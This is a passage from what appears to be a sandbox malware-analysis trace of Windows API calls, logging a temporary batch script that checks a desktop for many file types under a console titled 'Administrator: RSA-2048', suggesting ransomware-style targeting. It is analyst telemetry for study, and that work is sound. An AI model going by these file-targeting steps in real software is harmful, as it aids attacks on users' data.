[0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.258] GetProcessHeap () returned 0x4e0000 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.259] _tell (_FileHandle=3) returned 2275 [0039.259] _close (_FileHandle=3) returned 0 [0039.259] GetFullPathNameW (in: lpFileName="*.html", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", lpFilePart=0x41eea8*="*.html") returned 0x2c [0039.259] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.259] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.260] GetLastError () returned 0x2 [0039.260] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.260] GetLastError () returned 0x6 [0039.260] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.260] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.260] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.260] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.260] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.260] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.261] SetConsoleInputExeNameW () returned 0x1 [0039.261] GetConsoleOutputCP () returned 0x1b5 [0039.261] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.261] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.261] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.261] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.261] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.261] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.262] GetProcessHeap () returned 0x4e0000 [0039.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.262] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.262] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0039.262] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d4a, lpOverlapped=0x0) returned 1 [0039.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0039.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0039.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.263] GetFileType (hFile=0x74) returned 0x1 [0039.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0039.263] GetProcessHeap () returned 0x4e0000 [0039.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.263] GetProcessHeap () returned 0x4e0000 [0039.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.263] GetProcessHeap () returned 0x4e0000 [0039.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.263] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.263] GetProcessHeap () returned 0x4e0000 [0039.263] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.263] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.263] GetProcessHeap () returned 0x4e0000 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.264] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.264] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.264] GetProcessHeap () returned 0x4e0000 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.264] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.264] GetProcessHeap () returned 0x4e0000 [0039.264] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.264] GetProcessHeap () returned 0x4e0000 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.265] _tell (_FileHandle=3) returned 2300 [0039.265] _close (_FileHandle=3) returned 0 [0039.265] GetFullPathNameW (in: lpFileName="*.url", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", lpFilePart=0x41eea8*="*.url") returned 0x2b [0039.265] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.265] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.266] GetLastError () returned 0x2 [0039.266] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.266] GetLastError () returned 0x6 [0039.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.266] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.266] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.266] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.266] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.267] SetConsoleInputExeNameW () returned 0x1 [0039.267] GetConsoleOutputCP () returned 0x1b5 [0039.267] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.267] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.268] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.269] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0039.269] GetProcessHeap () returned 0x4e0000 [0039.269] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.269] GetProcessHeap () returned 0x4e0000 [0039.269] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.269] GetProcessHeap () returned 0x4e0000 [0039.269] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.269] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.270] GetProcessHeap () returned 0x4e0000 [0039.270] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0039.270] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d31, lpOverlapped=0x0) returned 1 [0039.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0039.270] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n\r\n") returned 25 [0039.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.271] GetFileType (hFile=0x74) returned 0x1 [0039.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0039.271] GetProcessHeap () returned 0x4e0000 [0039.271] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.271] GetProcessHeap () returned 0x4e0000 [0039.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.271] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.271] GetProcessHeap () returned 0x4e0000 [0039.271] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.271] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.271] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.271] GetProcessHeap () returned 0x4e0000 [0039.272] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.272] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.272] GetProcessHeap () returned 0x4e0000 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.272] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.272] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.272] GetProcessHeap () returned 0x4e0000 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.272] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.272] GetProcessHeap () returned 0x4e0000 [0039.272] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.272] GetProcessHeap () returned 0x4e0000 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.273] _tell (_FileHandle=3) returned 2325 [0039.273] _close (_FileHandle=3) returned 0 [0039.274] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0039.274] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.274] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0039.274] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0039.274] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.274] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0039.274] GetProcessHeap () returned 0x4e0000 [0039.274] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0039.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.274] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.274] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] GetFileType (hFile=0x74) returned 0x1 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0039.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0039.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l\r\n") returned 27 [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0039.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.275] GetFileType (hFile=0x74) returned 0x1 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0039.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0039.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l\r\n") returned 27 [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] GetFileType (hFile=0x74) returned 0x1 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0039.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=2406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0039.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l\r\n") returned 27 [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] GetFileType (hFile=0x74) returned 0x1 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0039.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=2433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0039.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l\r\n") returned 27 [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0039.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.276] GetFileType (hFile=0x74) returned 0x1 [0039.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0039.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0039.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l\r\n") returned 27 [0039.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0039.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.277] GetFileType (hFile=0x74) returned 0x1 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0039.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0039.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l\r\n") returned 27 [0039.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0039.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.277] GetFileType (hFile=0x74) returned 0x1 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0039.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0039.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l\r\n") returned 27 [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] GetFileType (hFile=0x74) returned 0x1 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0039.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=2541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0039.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l\r\n") returned 27 [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] SetFilePointer (in: hFile=0x74, 